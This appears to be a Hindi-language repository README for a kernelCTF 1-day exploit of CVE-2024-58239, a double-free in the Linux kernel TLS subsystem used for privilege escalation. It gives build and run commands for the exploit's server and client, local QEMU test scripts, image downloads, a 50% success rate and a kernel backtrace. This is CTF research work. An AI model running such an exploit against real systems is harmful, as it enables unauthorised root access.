
CVE-2024-58239 के लिए Linux कर्नेल TLS उपप्रणाली शोषण, जो tcp_rcv_state_process में डबल-फ्री भेद्यता के माध्यम से विशेषाधिकार वृद्धि प्राप्त करता है। इसमें क्लाइंट-सर्वर आर्किटेक्चर और स्थानीय परीक्षण स्क्रिप्ट शामिल हैं।
यह मेरा पहला 1-दिवसीय एक्सप्लॉइट है।
पैच: tls: यदि initial process_rx_list ने हमें non-DATA दिया तो recv() रोकें
मैंने कर्नलCTF स्प्रेडशीट पर exp407 देखा और एक्सप्लॉइट को पुनः उत्पन्न करने का प्रयास किया।
मैं कर्नलCTF वातावरण पर एक्सप्लॉइट चलाने और फ्लैग प्राप्त करने में सफल रहा:

मैं इसके लिए बाद में एक विस्तृत लेख लिखूंगा।
एक्सप्लॉइट का लॉग काफी लंबा है, बीच में एक कर्नल WARNING के कारण। हालांकि, चेतावनी एक त्रुटि नहीं है और यह मेरे एक्सप्लॉइट को नहीं मारती ;)

मैंने इस फ़ोल्डर से कई भारी फ़ाइलें हटा दी हैं।
./rootfs_v3.img./ramdisk_v1.img./releases/mitigation-v4-6.6/bzImage./releases/mitigation-v4-6.6/vmlinuxआप पहली 3 फ़ाइलें मूल local_runner.sh चलाकर प्राप्त कर सकते हैं
चौथी फ़ाइल और स्रोत कोड के लिए, आप कर्नलCTF सर्वर से कनेक्ट कर सकते हैं और डाउनलोड करने के लिए लिंक प्राप्त कर सकते हैं।
लेकिन आपकी सुविधा के लिए, यहाँ mitigation-v4-6.6 इंस्टेंस की जानकारी है:
कर्नल इमेज (bzImage): https://storage.googleapis.com/kernelctf-build/releases/mitigation-v4-6.6/bzImage
कर्नल इमेज (vmlinux): https://storage.googleapis.com/kernelctf-build/releases/mitigation-v4-6.6/vmlinux.gz
कर्नल कॉन्फिग: https://storage.googleapis.com/kernelctf-build/releases/mitigation-v4-6.6/.config
-> COS कॉन्फिग से व्युत्पन्न: https://storage.googleapis.com/kernelctf-build/releases/mitigation-v4-6.6/lakitu_defconfig
स्रोत कोड जानकारी: https://storage.googleapis.com/kernelctf-build/releases/mitigation-v4-6.6/COMMIT_INFO
साथ ही, .img फ़ाइलें डाउनलोड करने के लिए कमांड:
wget https://storage.googleapis.com/kernelctf-build/files/rootfs_v3.img.gz
gzip -d rootfs_v3.img.gz
wget https://storage.googleapis.com/kernelctf-build/files/ramdisk_v1.img
cd ./exploit/mitigation-v4-6.6/
make
यह एक्सप्लॉइट 2 भागों में विभाजित है:
सर्वर:
./server --port <port>
क्लाइंट:
./client --ip <server_ip> --port <port>
मैंने स्थानीय रूप से एक्सप्लॉइट का परीक्षण करने के लिए 2 स्क्रिप्ट लिखीं:
यह पृष्ठभूमि में सर्वर शुरू करता है, फिर qemu VM में क्लाइंट चलाता है।
पहले, exploit/mitigation-v4-6.6 पर जाएँ, और पोर्ट 3000 पर एक http सर्वर शुरू करें, ताकि बाद में qemu VM में एक्सप्लॉइट डाउनलोड किया जा सके
cd exploit/mitigation-v4-6.6
python3 -m http.server 3000
फिर, दूसरे टर्मिनल में, स्क्रिप्ट शुरू करें:
python3 test.py <your_ip> <port>
<your_ip> आपके इंटरनेट कार्ड का आईपी है। मेरे लिए, मैं पूरी चीज़ WSL में चलाता हूँ, मैं ip a चलाता हूँ, और eth0 इंटरफ़ेस का IP, 172.30.248.93 प्राप्त करता हूँ➜ CVE-2024-58239 git:(main) ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet 10.255.255.254/32 brd 10.255.255.254 scope global lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:15:5d:22:a0:d1 brd ff:ff:ff:ff:ff:ff
inet 172.30.248.93/20 brd 172.30.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::215:5dff:fe22:a0d1/64 scope link
valid_lft forever preferred_lft forever
<port> आपकी लोकल मशीन पर कोई अनुपयोगी पोर्ट है। यह क्लाइंट और सर्वर के बीच TLS कनेक्शन के लिए है।यह एक्सप्लॉइट को कई बार चलाता है और इसकी सफलता दर मापता है।
test.py के उपयोग की तरह, exploit/mitigation-v4-6.6 पर जाएँ, और पोर्ट 3000 पर एक http सर्वर शुरू करें, ताकि बाद में qemu VM में एक्सप्लॉइट डाउनलोड किया जा सके
cd exploit/mitigation-v4-6.6
python3 -m http.server 3000
python3 calc_AC_rate.py <your_ip> <port> <number_of_time_to_run>
उदाहरण के लिए, अपने WSL पर, मैं इसे python3 calc_AC_rate.py 172.30.248.93 1118 100 के रूप में चलाता हूँ।
मैं अभी भी सफलता दर पर काम कर रहा हूँ, क्योंकि अभी यह थोड़ा अस्थिर है।
मैंने एक्सप्लॉइट का 100 बार परीक्षण करने के लिए calc_AC_rate.py चलाया, और परिणाम 50/100 है।
असफल प्रयासों के लिए, यह बीच में common_interrupt के उभरने के कारण है, जो कर्नल स्लैब में नाइव डबल फ्री डिटेक्शन को ट्रिगर करता है, जो इस बैकट्रेस में दिखाया गया है।
मैं इसे निष्क्रिय करने का एक तरीका ढूंढूंगा।
[ 4.050330] ? die+0x32/0x80
[ 4.050809] ? do_trap+0xd6/0x100
[ 4.051365] ? __slab_free+0x16c/0x380
[ 4.052198] ? do_error_trap+0x6a/0x90
[ 4.052767] ? __slab_free+0x16c/0x380
[ 4.053350] ? exc_invalid_op+0x4c/0x60
[ 4.053916] ? __slab_free+0x16c/0x380
[ 4.055031] ? asm_exc_invalid_op+0x16/0x20
[ 4.055675] ? tcp_rcv_state_process+0x791/0xef0
[ 4.056527] ? __slab_free+0x16c/0x380
[ 4.057097] ? lock_timer_base+0x61/0x80
[ 4.057795] ? tcp_get_metrics+0x142/0x380
[ 4.058560] ? tcp_rcv_state_process+0x791/0xef0
[ 4.059265] kmem_cache_free+0x599/0x5e0
[ 4.059915] tcp_rcv_state_process+0x791/0xef0
[ 4.060918] ? security_sock_rcv_skb+0x31/0x50
[ 4.061857] ? sk_filter_trim_cap+0x11a/0x290
[ 4.062558] tcp_v4_do_rcv+0xcd/0x280
[ 4.063281] tcp_v4_rcv+0xf81/0x1010
[ 4.063832] ? raw_local_deliver+0xcd/0x250
[ 4.064668] ip_protocol_deliver_rcu+0x32/0x320
[ 4.065355] ip_local_deliver_finish+0x7a/0xa0
[ 4.066455] ip_sublist_rcv_finish+0x7e/0x90
[ 4.067231] ip_sublist_rcv+0x1e1/0x220
[ 4.067919] ? __netif_receive_skb_core.constprop.0+0xbf/0x1080
[ 4.068822] ip_list_rcv+0x139/0x170
[ 4.069362] __netif_receive_skb_list_core+0x29d/0x2c0
[ 4.070173] ? __pfx_csum_block_add_ext+0x10/0x10
[ 4.071054] netif_receive_skb_list_internal+0x1e1/0x310
[ 4.072068] napi_complete_done+0x6e/0x1a0
[ 4.072752] virtnet_poll+0x40d/0x5a0
[ 4.073313] __napi_poll+0x28/0x1c0
[ 4.073854] net_rx_action+0x14c/0x2d0
[ 4.074622] ? vp_vring_interrupt+0x73/0x90
[ 4.075746] __do_softirq+0xf6/0x30f
[ 4.076379] __irq_exit_rcu+0x79/0xc0
[ 4.077356] common_interrupt+0xb9/0xd0